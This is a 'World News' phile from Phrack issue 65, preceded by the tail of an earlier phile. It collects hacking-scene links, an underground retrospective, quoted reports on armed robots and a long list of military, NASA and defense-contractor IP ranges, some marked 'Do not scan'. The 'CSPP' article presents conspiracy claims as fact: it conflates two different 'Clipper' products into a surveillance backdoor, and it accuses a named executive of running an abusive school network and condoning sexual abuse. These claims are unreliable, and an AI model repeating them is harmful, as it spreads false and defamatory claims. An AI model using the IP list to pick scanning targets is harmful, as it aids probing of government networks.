         masturbation imaginable. In summary, the end is fucking nigh, 
         and don’t tell me I didn’t warn you... even though there’s 
         nothing you can do about it. 
         
         Good night and good luck,
         - the UNIX TERRORIST

|=[ EOF ]=|     
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                             ==Phrack Inc.==

               Volume 0x0c, Issue 0x41, Phile #0x03 of 0x0f

|=--------------------------------------------------------------------=|
|=-----------------------=[ Phrack World News]=-----------------------=|
|=----------------------------=[ by TCLH ]=---------------------------=|
|=--------------------------------------------------------------------=|

The Circle of Lost Hackers is looking for any kind of news related to
security, hacking, conference report, philosophy, psychology, surrealism,
new technologies, space war, spying systems, information warfare, secret
societies, ... anything interesting! It could be a simple news with just
an URL, a short text or a long text. Feel free to send us your news.

We didn’t get any news from the Underground since our last phrack issue,
it means that one more time all the news reports are coming from
friends of our’s.

It would be good if people who claim themself "underground" would send
us their news...

Is our underground dead?

1. Speedy Gonzales news
2. How is CSPP controlloing US education network?
3. Retrospective of underground scene
4. Killer robots
5. Meaningful IP addresses

--------------------------------------------

--[ 1.

 _____                     _
/  ___|                   | |
\ ‘--. _ __   ___  ___  __| |_   _
 ‘--. \ ’_ \ / _ \/ _ \/ _‘ | | | |
/\__/ / |_) |  __/  __/ (_| | |_| |
\____/| .__/ \___|\___|\__,_|\__, |
      | |                     __/ |
      |_|                    |___/
 _____                      _
|  __ \                    | |
| |  \/ ___  _ __  ______ _| | ___  ___
| | __ / _ \| ’_ \|_  / _‘ | |/ _ \/ __|
| |_\ \ (_) | | | |/ / (_| | |  __/\__ \
 \____/\___/|_| |_/___\__,_|_|\___||___/
 _   _
| \ | |
|  \| | _____      _____
| . ‘ |/ _ \ \ /\ / / __|
| |\  |  __/\ V  V /\__ \
\_| \_/\___| \_/\_/ |___/

*-[ The underground complot: when quebec scene takes too much LSD ]-

http://www.mindkind.org/mindkind1011.zip

*-[ "king of the carders" but busted ]-

http://www.theregister.co.uk/2007/09/18/max_butler_affidavit/
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*-[ "secure area" and "Microsoft" don’t belong in the same sentence ]-

http://www.stuff.co.nz/4269090a28.html

*-[ Being an ethical hacker is definitely not a good idea ]-

http://www.smh.com.au/news/security/police-swoop-on-hacker-of-the-year/2007
/11/15/1194766821481.html?page=2

*-[ When NSA teaches you how to hack ]-

https://www.hackerdegree.com

Do they read phrack? :)

*-[ When Phrack is a sponsor without its permission ]-

http://conference.hackinthebox.org/hitbsecconf2007kl/?page_id=65

*-[ Terrorism excuse is good for spying business ]-

http://www.corpwatch.org/article.php?id=14821

SAIC...

*-[ Entersect sounds like an interesting target...]-

http://www.washingtonpost.com/wp-dyn/content/article/2008/
04/01/AR2008040103049_pf.html

*-[ Want to work for MI6? ]-

http://news.bbc.co.uk/player/nol/newsid_6150000/newsid_6153000/
6153092.stm?bw=bb&mp=rm&nol_storyid=6153092&news=1

*-[ Flight "not" Simulator ]-

http://www.theregister.co.uk/2008/01/07/
boeing_dreamliner_hacker_concerns/

*-[ This design looks familiar...]-

http://hex90.org/

*-[ After hacking your brain: hacking your heart!]-

http://packetstormsecurity.org/papers/attack/icd-study.pdf

--[ 2. How is CSPP controlling US education network ]--
                        by dahut

http://www.mccullagh.org/db9/d30-32/kay-rosen-holleyman-1.jpg

The above picture shows Ken Kay, executive director of the Computer
Systems Policy Project on the left and Robert Holleyman, president and
CEO of the Business Software Alliance on the right.

CSPP (www.cspp.org) was created in 1989, and later on renamed as
Technology CEO Council. Bigger members are Applied Material, Dell, EMC,
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HP, IBM, Intel, Motorola, NCR and Unisys. All these companies together
are generating 300 billion dollars of annual revenues.

The company was made on request of the US President, to promote
U.S. competitiveness through technology leadership. You can think
technology is for information technology. You are wrong. It’s for
Intelligence technology.

The project is two steps. First is to invent a spy chip and
put it in every computer manufactured in US. So did Fairchild
(http://en.wikipedia.org/wiki/Fairchild_Semiconductor) by producing the
Clipper chip (http://en.wikipedia.org/wiki/Clipper_architecture).
The Clipper was designed with internal circuitry to encrypt information
and deliver backdoor capabilities, a little bit as the previous PROMIS
software was doing with Mainframe.

The Clipper was designed for RISC workstation. After a bankruptcy of
Fairchild, and seeing that Hitachi was interested to acquire the company,
the US government requested Intergraph to continue the project. So
they did by starting the production of a new UNIX workstation line,
named Interpro32 and running AT&T Unix operating system.

So, the operating system was containing code to activate the secret
part of the CPU, and access to users’ data. The following declassified
document explains to the US administration how dangerous it could
be to continue to use the Clipper chip in conjunction with AT&T:
http://www.softwar.net/bush.html. CIA and NSA are involved in this
document.

Now that the main US chipset and computer manufacturers are in the
secrets of the CIA intelligence, let’s go for step two.

In 1996, the US president Clinton did ask to create the CEO Forum,
managed by Ken Kay, to establish the best rules for the future
classrooms, assuming they will be well connected to the Internet, with
the best possible hardware. Members were Apple, Dell, IBM, Compaq, HP,
Sun... Next, the US government did ask again to Ken Kay in 2002 to
create the Partnership for 21st Century Skills to be at the center of US
K-12 education by building collaborative partnerships among education,
business, community and government leader (www.21stcenturyskills.org). It
was a follow up to the CEO Forum.

Members are:

* Adobe, AOL, Apple, AT&T, Cisco, Dell, Intel, Microsoft, SAP, Oracle...
* National Education Association, Ford Motor Company (?) and the US
Department of Education

Ken Kay is in charge of driving all these companies to install computer,
software and networks systems in all schools of USA, as well as dictating
the content of the courses!

Thinking back to the picture in front of this article, you can make
the connection between all software companies, the BSA company and Ken
Kay. Thanks to the clipper chip success, they all know how to watch you!
The cherry on the cake will be to tell you that Ken Kay is managing WWASP,
the largest world network of special establishment for "Teens In Crisis".
www.wwasp.com

http://en.wikipedia.org/wiki/World_Wide_Association_of_Specialty_Programs_
and_Schools

Many parents are complaining against the treatment methods employed by
WWASPS institutions. These methods are said to be controversial, as there
have been allegations of severe (sexual) abuse and torture by staff.
In 2004, during a testimony, Ken Kay stated that in his opinion, sexual
activity between staff members and students is "not necessarily abuse".
How do you explain that Ken Kay is controlling the whole US computer
industry, as well as the US education, and able to manage a galaxy of
establishments doing sexual abuses in its total acceptation?  (See also
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http://antiwwasp.com/)

--[ 3. Retrospective of The Underground scene ]--
                 by Duvel

Almost one year after the release of "A brief History of the Underground
Scene", it’s now time to give some feedback. First of all, The Phrack
Staff and I would like to thank you all for your positive and negative 
comments about this article. The goal of this article was not to 
explain what the scene once was or what should be but more to provoke 
the debate. And on this point the article was a success. Now it’s time 
to act.

About the negative comments that I had, I won’t reply to each of one.
As you have probably seen, I didn’t reply to any negative or positive
comments (except one at the beginning...my bad) I prefer let people
talk. But I was quite amused to see negative comments which for the
majority were on some insignificant points (speech recognition is not 
datamining, this guy doesn’t know subnets, underground pyramid is for 
Holywood magazine or hacking tricks are too lame). It would be stupid 
to reply to them. So I won’t.

One of the thing that I am the most happy about is that a lot of young
generations of hackers have found this article interesting and found their
way through it. As you have probably seen, there is another article about
the Underground scene in this issue. Anonymous’ opinion is opposite
to mine but if you read beetween the lines, we both go to the same 
direction.

Of course it’s important to understand the history of hacking (what
I tried to explain in my article) or how the underground died (what 
Anonymous tries to explain in his article) but it’s more important 
to keep hackers alive. Even if the Underground won’t ever be the same, 
the passion is still there. It’s this passion of hacking that should 
stay alive.

I really hope that all people who gave constructive comments can
participate to the new Underground. A lot of people talk but don’t do 
anything. I’ve seen lots of interesting comment from people who want to 
do something but at this stage we haven’t seen anything from them. Are 
these people too busy? Are these people just dreamers? Are these people 
lacking required knowledge? Are these people....? I don’t know.

But this message is for these people: please stop talking but try to bring
something to new generation of hackers.

They need you.

--[ 4. Killer robots ]--

My roomba can get lost under the dining room table, bumping off 
the chair legs, over and over. There are many routes of escape, 
but it rarely finds one. Only a true genius could turn this 
remarkable example of AI into a killing machine.

http://blog.wired.com/defense/2007/10/roomba-maker-un.html 
-------------------------------------------------------------------- 
The makers of the cuter-than-cute robotic vacuum cleaner are 
rolling out a new machine: A big, fast-moving, semi-autonomous 
’bot capable of killing a whole bunch of people at once.

Unlike other armed robots -- which are entirely remote-controlled 
-- the Warriors are "being engineered with advanced software, 
giving them the ability to perform some battlefield functions 
autonomously."

At the same time, a key dimension to the Warrior X700 is its 
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ability to protect soldiers by firing weapons such as a machine 
gun or 40mm explosive round. 
--------------------------------------------------------------------

Bring in the big guns.

http://blog.wired.com/defense/2007/10/robot-cannon-ki.html
-------------------------------------------------------------------- 
We’re not used to thinking of them this way.  But many advanced
military weapons are essentially robotic -- picking targets out
automatically, slewing into position, and waiting only for a
human to pull the trigger.  Most of the time.  Once in a while,
though, these machines start firing mysteriously on their own.

During the shooting trials at Armscor’s Alkantpan shooting range,
"I personally saw a gun go out of control several times," Young
says. "They made a temporary rig consisting of two steel poles on
each side of the weapon, with a rope in between to keep the
weapon from swinging. The weapon eventually knocked the pol[e]s
down."

Mangope told The Star that it "is assumed that there was a
mechanical problem, which led to the accident. The gun, which was
fully loaded, did not fire as it normally should have," he said.
"It appears as though the gun, which is computerised, jammed
before there was some sort of explosion, and then it opened fire
uncontrollably, killing and injuring the soldiers."

    But the brave, as yet unnamed officer was unable to stop the
wildly swinging computerised Swiss/German Oerlikon 35mm MK5
anti-aircraft twin-barrelled gun. It sprayed hundreds of
high-explosive 0.5kg 35mm cannon shells around the five-gun
firing position.

    By the time the gun had emptied its twin 250-round
auto-loader magazines, nine soldiers were dead and 11 injured.
--------------------------------------------------------------------

Can I play too?

http://blog.wired.com/defense/2007/12/new-killer-bot.html
--------------------------------------------------------------------
The stars: "a 25-year-old self-taught engineer named Adam 
Gettings"  and his "toy-like but gun-wielding robot designed to 
replace human soldiers on the battlefield."

Gettings’ company doesn’t have much of an online signature -- not 
even a website.  But he does have some interesting partners, 
including former Disney imagineer Terry Izumi (who cooked up this 
video for the ’bot) and shotgun maker Jerry Barber (who provided 
the firepower).  Blackwater has also endorsed the product, 
allegedly. 
--------------------------------------------------------------------

Blackwater and Disney? Who could ask for better qualifications? 
Oh, and there’s this cool marketing video.

http://money.cnn.com/video/ft/#/video/fortune/2007/12/04/robotex.fortune

Robot wars, anyone?

http://blog.wired.com/defense/2007/05/top_war_tech_5_.html
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--------------------------------------------------------------------

"The Baghdad bomb squad used their iRobots to decorate their 
shop," Noah reported after an embed with an Army 
ordnance-disposal unit a couple years back. "Not far away, at the 
U.S. military’s central robot depot for Iraq, the iRobots sat on 
shelves, serenely gathering dust, while Foster-Miller’s Talon 
robots would come back, scarred and in pieces, after being chewed 
up by a bomb."

The company noted that war zone "Robot Hospitals" are repairing 
more than 400 bomb-damaged robots a week to put them back into 
service.
--------------------------------------------------------------------

My bot can kick your bot’s ass. Great. But how do they stand up 
against humans?

Not the kind of humans that throw rocks at tanks, but the 
thinking kind, like the ones that broke Israeli comms crypto 
during the recent war in Lebanon.

Let’s see what happens when it comes across a carpet stretched 
over a pit. Or somebody throws a blanket over it, or spray paints 
the camera lens, or fires IR lasers or very bright oLEDS at the 
camera.

Once you have physical access to the thing, you own it. How hard 
would it be to re-chip the thing and send it back against its 
makers?

Can we test our killer-robot counter measures? Maybe. The 
opportunity may soon be as close as your local pigsty.

http://blog.wired.com/defense/2007/08/armed-robots-so.html 
-------------------------------------------------------------------- 
Armed robots -- similar to the ones now on patrol in Iraq -- are 
being marketed to domestic police forces, according to the 
machines’ manufacturer and law enforcement officers.

Foster-Miller, maker of the armed SWORDS robot for military use, 
is also actively promoting a similar model to domestic, civilian 
police forces.  The Talon SWAT/MP is a "robot specifically 
equipped for scenarios frequently encountered by police SWAT 
[special weapon and tactics] units and MPs [military police]," a 
company fact sheet announces.  It "can be configured with the 
following equipment:

 . Multi-shot TASER electronic control device with laser-dot 
aiming.
. Loudspeaker and audio receiver for negotiations.
. Night vision and thermal cameras.
. Choice of weapons for lethal or less-than-lethal responses
  - 40 mm grenade launcher - 2 rounds
  - 12-gage shotgun - 5 rounds
  - FN303 less-lethal launcher - 15 rounds.

In addition to the Massachusetts State Police,  SWAT teams in 
Houston, San Francisco, and Lubbock, TX all have the robots, 
according to Foster-Miller spokesperson Cynthia Black. 
--------------------------------------------------------------------

Finally, a legitimate excuse for Swatting.

http://en.wikipedia.org/wiki/Swatting
--------------------------------------------------------------------
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In the field of Information Security, Swatting is an attempt to 
trick an emergency service to dispatch an emergency response 
team. The name derives from attempts to trick an emergency 
services operator (a "911 operator") into dispatching a SWAT 
(Special Weapons and Training) team to a location under false 
pretense.
--------------------------------------------------------------------

What next?

http://blog.wired.com/defense/2007/11/black-knight.html
--------------------------------------------------------------------
We now know that there are robotic cars smart enough to drive 
themselves around a city.  The next step: give those vehicles 
automatic weapons, of course. 

Or the troops can stay just chill out, and let the thing drive 
itself.  The Knight uses "advanced robotic technology for 
autonomous mobility," according to BAE.  "This capability allows 
the Black Knight to plan routes, maneuver on the planned route, 
and avoid obstacles - all without operator intervention."
--------------------------------------------------------------------

http://blog.wired.com/defense/2008/01/israel-thinking.html
--------------------------------------------------------------------
So Israeli military leaders have begun early planning for a new, 
robotic defense system, armed with enough artificial intelligence 
that it "could take over completely" from flesh-and-blood 
operators.  "It will be designed for... autonomous operations,’ 
Brig. Gen. Daniel Milo, commander of Israel’s air defense forces, 
tells Defense News’ Barbara Opall-Rome.  And in the event of a 
"doomsday" strike, Opall-Rome notes, the system could handle 
"attacks that exceed physiological limits of human command."

How do you say "Skynet" in Hebrew, again?    
--------------------------------------------------------------------

http://www.reuters.com/article/oddlyEnoughNews/idUST27506220080408?feedType=RSS&feedName=
oddlyEnoughNews&rpc=22&sp=true
--------------------------------------------------------------------
Robots could fill the jobs of 3.5 million people in graying Japan 
by 2025, a thinktank says, helping to avert worker shortages as 
the country’s population shrinks.

Caregivers would save more than an hour a day if robots helped 
look after children, older people and did some housework, it 
added. Robotic duties could include reading books out loud or 
helping bathe the elderly.
--------------------------------------------------------------------

Don’t drop the soap.

--[ 5. Meaningful IP addresses ]--

Here are some IP addresses that people send us...we haven’t tried anything
so don’t blame us. If you have more ranges feel free to share.

But before, the best IP list is probably the one on cryptome:

http://cryptome.org/nsa-ip-update14.htm

-----
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RANGE 6
6.* - Army Information Systems Center

RANGE 7
7.*.*.* Defense Information Systems Agency, VA

RANGE 11
11.*.*.* DoD Intel Information Systems, Defense Intelligence Agency,
Washington DC

RANGE 21
21. - US Defense Information Systems Agency

RANGE 22
22.* - Defense Information Systems Agency

RANGE 24
24.198.*.*

RANGE 25
25.*.*.* Royal Signals and Radar Establishment, UK

RANGE 26
26.* - Defense Information Systems Agency

RANGE 29
29.* - Defense Information Systems Agency

RANGE 30
30.* - Defense Information Systems Agency

RANGE 49
49.* - Joint Tactical Command

RANGE 50
50.* - Joint Tactical Command

RANGE 55
55.* - Army National Guard Bureau

RANGE 55
55.* - Army National Guard Bureau

RANGE 62
62.0.0.1 - 62.30.255.255 Do not scan!

RANGE 64
64.70.*.* Do not scan
64.224.* Do not Scan
64.225.* Do not scan
64.226.* Do not scan

RANGE 128
128.37.0.0 Army Yuma Proving Ground
128.38.0.0 Naval Surface Warfare Center
128.43.0.0 Defence Research Establishment-Ottawa
128.47.0.0 Army Communications Electronics Command
128.49.0.0 Naval Ocean Systems Center
128.50.0.0 Department of Defense
128.51.0.0 Department of Defense
128.56.0.0 U.S. Naval Academy
128.60.0.0 Naval Research Laboratory
128.63.0.0 Army Ballistics Research Laboratory
128.80.0.0 Army Communications Electronics Command
128.98.0.0 - 128.98.255.255 Defence Evaluation and Research Agency
128.102.0.0 NASA Ames Research Center
128.149.0.0 NASA Headquarters
128.154.0.0 NASA Wallops Flight Facility
128.155.0.0 NASA Langley Research Center
128.156.0.0 NASA Lewis Network Control Center
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128.157.0.0 NASA Johnson Space Center
128.158.0.0 NASA Ames Research Center
128.159.0.0 NASA Ames Research Center
128.160.0.0 Naval Research Laboratory
128.161.0.0 NASA Ames Research Center
128.183.0.0 NASA Goddard Space Flight Center
128.190.0.0 Army Belvoir Reasearch and Development Center
128.202.0.0 50th Space Wing
128.216.0.0 MacDill Air Force Base
128.217.0.0 NASA Kennedy Space Center
128.236.0.0 U.S. Air Force Academy

RANGE 129
129.23.0.0 Strategic Defense Initiative Organization
129.29.0.0 United States Military Academy
129.50.0.0 NASA Marshall Space Flight Center
129.51.0.0 Patrick Air Force Base
129.52.0.0 Wright-Patterson Air Force Base
129.53.0.0 - 129.53.255.255 66SPTG-SCB
129.54.0.0 Vandenberg Air Force Base, CA
129.92.0.0 Air Force Institute of Technology
129.99.0.0 NASA Ames Research Center
129.131.0.0 Naval Weapons Center
129.139.0.0 Army Armament Research Development and Engineering Center
129.141.0.0 85 MISSION SUPPORT SQUADRON/SCSN
129.163.0.0 NASA/Johnson Space Center
129.164.0.0 NASA IVV
129.165.0.0 NASA Goddard Space Flight Center
129.166.0.0 NASA - John F. Kennedy Space Center
129.167.0.0 NASA Marshall Space Flight Center
129.168.0.0 NASA Lewis Research Center
129.190.0.0 Naval Underwater Systems Center
129.198.0.0 Air Force Flight Test Center
129.209.0.0 Army Ballistics Research Laboratory
129.229.0.0 U.S. Army Corps of Engineers
129.251.0.0 United States Air Force Academy

RANGE 130
130.40.0.0 NASA Johnson Space Center
130.90.0.0 Mather Air Force Base
130.109.0.0 Naval Coastal Systems Center
130.114.0.0 Army Aberdeen Proving Ground Installation Support Activity
130.124.0.0 Honeywell Defense Systems Group
130.165.0.0 U.S.Army Corps of Engineers
130.167.0.0 NASA Headquarters

RANGE 131
131.3.0.0 - 131.3.255.255 Mather Air Force Base
131.6.0.0 Langley Air Force Base
131.10.0.0 Barksdale Air Force Base
131.17.0.0 Sheppard Air Force Base
131.21.0.0 Hahn Air Base
131.22.0.0 Keesler Air Force Base
131.24.0.0 6 Communications Squadron
131.25.0.0 Patrick Air Force Base
131.27.0.0 75 ABW
131.30.0.0 62 CS/SCSNT
131.32.0.0 37 Communications Squadron
131.35.0.0 Fairchild Air Force Base
131.36.0.0 Yokota Air Base
131.37.0.0 Elmendorf Air Force Base
131.38.0.0 Hickam Air Force Base
131.39.0.0 354CS/SCSN
131.40.0.0 Bergstrom Air Force Base
131.44.0.0 Randolph Air Force Base
131.46.0.0 20 Communications Squadron
131.47.0.0 Andersen Air Force Base
131.50.0.0 Davis-Monthan Air Force Base
131.52.0.0 56 Communications Squadron /SCBB
131.54.0.0 Air Force Concentrator Network
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131.56.0.0 Upper Heyford Air Force Base
131.58.0.0 Alconbury Royal Air Force Base
131.59.0.0 7 Communications Squadron
131.61.0.0 McConnell Air Force Base
131.62.0.0 Norton Air Force Base
131.71.0.0 - 131.71.255.255 NAVAL AVIATION DEPOT CHERRY PO
131.74.0.0 Defense MegaCenter Columbus
131.84.0.0 Defense Technical Information Center
131.92.0.0 Army Information Systems Command - Aberdeen (EA)
131.105.0.0 McClellan Air Force Base
131.110.0.0 NASA/Michoud Assembly Facility
131.120.0.0 Naval Postgraduate School
131.121.0.0 United States Naval Academy
131.122.0.0 United States Naval Academy
131.176.0.0 European Space Operations Center
131.182.0.0 NASA Headquarters
131.250.0.0 Office of the Chief of Naval Research

RANGE 132
132.3.0.0 Williams Air Force Base
132.5.0.0 - 132.5.255.255 49th Fighter Wing
132.6.0.0 Ankara Air Station
132.7.0.0 - 132.7.255.255 SSG/SINO
132.9.0.0 28th Bomb Wing
132.10.0.0 319 Comm Sq
132.11.0.0 Hellenikon Air Base
132.12.0.0 Myrtle Beach Air Force Base
132.13.0.0 Bentwaters Royal Air Force Base
132.14.0.0 Air Force Concentrator Network
132.15.0.0 Kadena Air Base
132.16.0.0 Kunsan Air Base
132.17.0.0 Lindsey Air Station
132.18.0.0 McGuire Air Force Base
132.19.0.0 100CS (NET-MILDENHALL)
132.20.0.0 35th Communications Squadron
132.21.0.0 Plattsburgh Air Force Base
132.22.0.0 23Communications Sq
132.24.0.0 Dover Air Force Base
132.25.0.0 786 CS/SCBM
132.27.0.0 - 132.27.255.255 39CS/SCBBN
132.28.0.0 14TH COMMUNICATION SQUADRON
132.30.0.0 Lajes Air Force Base
132.31.0.0 Loring Air Force Base
132.33.0.0 60CS/SCSNM
132.34.0.0 Cannon Air Force Base
132.35.0.0 Altus Air Force Base
132.37.0.0 75 ABW
132.38.0.0 Goodfellow AFB
132.39.0.0 K.I. Sawyer Air Force Base
132.40.0.0 347 COMMUNICATION SQUADRON
132.42.0.0 Spangdahlem Air Force Base
132.43.0.0 Zweibruchen Air Force Base
132.45.0.0 Chanute Air Force Base
132.46.0.0 Columbus Air Force Base
132.48.0.0 Laughlin Air Force Base
132.49.0.0 366CS/SCSN
132.50.0.0 Reese Air Force Base
132.52.0.0 Vance Air Force Base
132.54.0.0 Langley AFB
132.55.0.0 Torrejon Air Force Base
132.56.0.0 - 132.56.255.255 9 CS/SC
132.57.0.0 Castle Air Force Base
132.58.0.0 Nellis Air Force Base
132.59.0.0 24Comm Squadron\SCSNA
132.60.0.0 - 132.60.255.255 42ND COMMUNICATION SQUADRON
132.61.0.0 SSG/SIN
132.62.0.0 - 132.62.255.255 377 COMMUNICATION SQUADRON
132.79.0.0 Army National Guard Bureau
132.80.0.0 - 132.80.255.255 NGB-AIS-OS
132.80.0.0 - 132.85.255.255 National Guard Bureau
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132.82.0.0 Army National Guard Bureau
132.86.0.0 National Guard Bureau
132.87.0.0 - 132.93.255.255 National Guard Bureau
132.94.0.0 Army National Guard Bureau
132.95.0.0 - 132.103.255.255 National Guard Bureau
132.95.0.0 - 132.108.0.0 DOD Network Information Center
132.104.0.0 - 132.104.255.255 Army National Guard Bureau
132.105.0.0 - 132.108.255.255 Army National Guard Bureau
132.109.0.0 National Guard Bureau
132.110.0.0 - 132.116.255.255 Army National Guard Bureau
132.114.0.0 Army National Guard
132.117.0.0 Army National Guard Bureau
132.118.0.0 - 132.132.0.0 Army National Guard Bureau
132.122.0.0 South Carolina Army National Guard, USPFO
132.133.0.0 National Guard Bureau
132.134.0.0 - 132.143.255.255 National Guard Bureau
132.159.0.0 Army Information Systems Command
132.193.0.0 Army Research Office
132.250.0.0 Naval Research Laboratory

RANGE 134
134.5.0.0 Lockheed Aeronautical Systems Company
134.11.0.0 The Pentagon
134.12.0.0 NASA Ames Research Center
134.51.0.0 Boeing Military Aircraft Facility
134.52.*.* Boeing Corporation
134.78.0.0 Army Information Systems Command-ATCOM
134.80.0.0 Army Information Systems Command
134.118.0.0 NASA/Johnson Space Center
134.131.0.0 Wright-Patterson Air Force Base
134.136.0.0 Wright-Patterson Air Force Base
134.164.0.0 Army Engineer Waterways Experiment Station
134.165.0.0 Headquarters Air Force Space Command
134.194.0.0 U.S. Army Aberdeen Test Center
134.205.0.0 7th Communications Group
134.207.0.0 Naval Research Laboratory
134.229.0.0 Navy Regional Data Automation Center
134.230.0.0 Navy Regional Data Automation Center
134.232.0.0 - 134.232.255.255 U.S. Army, Europe
134.233.0.0 HQ 5th Signal Command
134.234.0.0 - 134.234.255.255 Southern European Task Force
134.235.0.0 HQ 5th Signal Command
134.240.0.0 U.S. Military Academy
136.149.0.0 Air Force Military Personnel Center

RANGE 136
136.178.0.0 NASA Research Network
136.188.0.0 - 136.197.255.255 Defense Intelligence Agency
136.207.0.0 69th Signal Battalion
136.208.0.0 HQ, 5th Signal Command
136.209.0.0 HQ 5th Signal Command
136.210.0.0 HQ 5th Signal Command
136.212.0.0 HQ 5th Signal Command
136.213.0.0 HQ, 5th Signal Command
136.214.0.0 HQ, 5th Signal Command
136.215.0.0 HQ, 5th Signal Command
136.216.0.0 HQ, 5th Signal Command
136.217.0.0 HQ, 5th Signal Command
136.218.0.0 HQ, 5th Signal Command
136.219.0.0 HQ, 5th Signal Command
136.220.0.0 HQ, 5th Signal Command
136.221.0.0 HQ, 5th Signal Command
136.222.0.0 HQ, 5th Signal Command

RANGE 137
137.1.0.0 Whiteman Air Force Base
137.2.0.0 George Air Force Base
137.3.0.0 Little Rock Air Force Base
137.4.0.0 - 137.4.255.255 437 CS/SC
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137.5.0.0 Air Force Concentrator Network
137.6.0.0 Air Force Concentrator Network
137.11.0.0 HQ AFSPC/SCNNC
137.12.0.0 Air Force Concentrator Network
137.17.* National Aerospace Laboratory
137.24.0.0 Naval Surface Warfare Center
137.29.0.0 First Special Operations Command
137.67.0.0 Naval Warfare Assessment Center
137.94.* Royal Military College
137.95.* Headquarters, U.S. European Command
137.126.0.0 USAF MARS
137.127.* Army Concepts Analysis Agency
137.128.* U.S. ARMY Tank-Automotive Command
137.130.0.0 Defense Information Systems Agency
137.209.0.0 Defense Information Systems Agency
137.210.0.0 Defense Information Systems Agency
137.211.0.0 Defense Information Systems Agency
137.212.0.0 Defense Information Systems Agency
137.231.0.0 HQ 5th Signal Command
137.232.0.0 Defense Information Systems Agency
137.233.0.0 Defense Information Systems Agency
137.234.0.0 Defense Information Systems Agency
137.235.0.0 Defense Information Systems Agency
137.240.0.0 Air Force Materiel Command
137.241.0.0 75 ABW
137.242.0.0 Air Force Logistics Command
137.243.0.0 77 CS/SCCN
137.244.0.0 78 CS/SCSC
137.245.0.0 Wright Patterson Air Force Base
137.246.0.0 United States Atlantic Command Joint Training

RANGE 138
138.13.0.0 Air Force Systems Command
138.27.0.0 Army Information Systems Command
138.50.0.0 HQ 5th Signal Command
138.65.0.0 HQ, 5th Signal Command
138.76.0.0 NASA Headquarters
138.109.0.0 Naval Surface Warfare Center
138.115.0.0 NASA Information and Electronic Systems Laboratory
138.135.0.0 - 138.135.255.255 DEFENSE PROCESSING CENTERPERAL HARBOR
138.136.0.0 - 138.136.255.255 Navy Computers and Telecommunications
Station
138.137.0.0 Navy Regional Data Automation Center (NARDAC)
138.139.0.0 Marine Corps Air Station
138.140.0.0 Navy Regional Data Automation Center
138.141.0.0 Navy Regional Data Automation Center
138.142.0.0 Navy Regional Data Automation Center
138.143.0.0 Navy Regional Data Automation Center
138.144.0.0 NAVCOMTELCOM
138.145.0.0 NCTS WASHINGTON
138.146.0.0 NCTC
138.147.0.0 NCTC
138.148.0.0 NCTC
138.149.0.0 NCTC
138.150.0.0 NCTC
138.151.0.0 NCTC
138.152.0.0 NCTC
138.153.0.0 Yokosuka Naval Base
138.154.0.0 NCTC
138.155.0.0 NCTC
138.156.0.0 Marine Corps Central Design & Prog. Activity
138.157.0.0 - 138.157.255.255 Marine Corps Central Design & Prog.
Activity
138.158.0.0 Marine Corps Central Design & Prog. Activity
138.159.0.0 NCTC
138.160.0.0 Naval Air Station
138.161.0.0 NCTC
138.162.0.0 NCTC
138.163.0.0 NCTC
138.164.0.0 NCTC



phrack65/3.txt Fri Jul 01 13:24:52 2022 13

138.165.0.0 NCTC
138.166.0.0 NCTC
138.167.0.0 NOC, MCTSSA, East
138.168.0.0 Marine Corps Central Design & Prog. Activity
138.169.0.0 NAVAL COMPUTER AND TELECOMM
138.169.12.0 NAVAL COMPUTER AND TELECOMM
138.169.13.0 NAVAL COMPUTER AND TELECOMM
138.170.0.0 NCTC
138.171.0.0 NCTC
138.172.0.0 NCTC
138.173.0.0 NCTC
138.174.0.0 NCTC
138.175.0.0 NCTC
138.176.0.0 NCTC
138.177.0.0 NCTS Pensacola
138.178.0.0 NCTC
138.179.0.0 NCTC
138.180.0.0 NCTC
138.181.0.0 NCTC
138.182.0.0 CNO N60
138.183.0.0 NCTC
138.184.0.0 NCTS
138.193.0.0 NASA/Yellow Creek

RANGE 139
139.31.0.0 20th Tactical Fighter Wing
139.32.0.0 48th Tactical Fighter Wing
139.33.0.0 36th Tactical Fighter Wing
139.34.0.0 52nd Tactical Fighter Wing
139.35.0.0 50th Tactical Fighter Wing
139.36.0.0 66th Electronic Combat Wing
139.37.0.0 26th Tactical Reconnaissance Wing
139.38.0.0 32nd Tactical Fighter Squadron
139.39.0.0 81st Tactical Fighter Wing
139.40.0.0 10th Tactical Fighter Wing
139.41.0.0 39th Tactical Air Control Group
139.42.0.0 40th Tactical Air Control Group
139.43.0.0 401st Tactical Fighter Wing
139.124.* Reseau Infomratique
139.142.*.*

RANGE 140
140.1.0.0 Defense Information Systems Agency
140.3.0.0 Defense Information Systems Agency
140.4.0.0 Defense Information Systems Agency
140.5.0.0 Defense Information Systems Agency
140.6.0.0 Defense Information Systems Agency
140.7.0.0 Defense Information Systems Agency
140.8.0.0 Defense Information Systems Agency
140.9.0.0 Defense Information Systems Agency
140.10.0.0 Defense Information Systems Agency
140.11.0.0 Defense Information Systems Agency
140.12.0.0 Defense Information Systems Agency
140.13.0.0 Defense Information Systems Agency
140.14.0.0 DISA Columbus Level II NOC
140.15.0.0 Defense Information Systems Agency
140.16.0.0 Defense Information Systems Agency
140.17.0.0 Defense Information Systems Agency
140.18.0.0 Defense Information Systems Agency
140.19.0.0 Defense Information Systems Agency
140.20.0.0 Defense Information Systems Agency
140.21.0.0 Defense Information Systems Agency
140.22.0.0 Defense Information Systems Agency
140.23.0.0 Defense Information Systems Agency
140.24.0.0 ASIC ALLIANCE-MARLBORO
140.25.0.0 Defense Information Systems Agency
140.26.0.0 Defense Information Systems Agency
140.27.0.0 Defense Information Systems Agency
140.28.0.0 Defense Information Systems Agency
140.29.0.0 Defense Information Systems Agency
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140.30.0.0 Defense Information Systems Agency
140.31.0.0 Defense Information Systems Agency
140.32.0.0 Defense Information Systems Agency
140.33.0.0 Defense Information Systems Agency
140.34.0.0 Defense Information Systems Agency
140.35.0.0 Defense Information Systems Agency
140.36.0.0 Defense Information Systems Agency
140.37.0.0 Defense Information Systems Agency
140.38.0.0 Defense Information Systems Agency
140.39.0.0 Defense Information Systems Agency
140.40.0.0 Defense Information Systems Agency
140.41.0.0 Defense Information Systems Agency
140.42.0.0 Defense Information Systems Agency
140.43.0.0 Defense Information Systems Agency
140.44.0.0 Defense Information Systems Agency
140.45.0.0 Defense Information Systems Agency
140.46.0.0 Defense Information Systems Agency
140.47.0.0 - 140.47.255.255 Defense Information Systems Agency
140.47.0.0 - 140.48.255.255 DOD Network Information Center
140.48.0.0 - 140.48.255.255 Defense Information Systems Agency
140.49.0.0 Defense Information Systems Agency
140.50.0.0 Defense Information Systems Agency
140.51.0.0 Defense Information Systems Agency
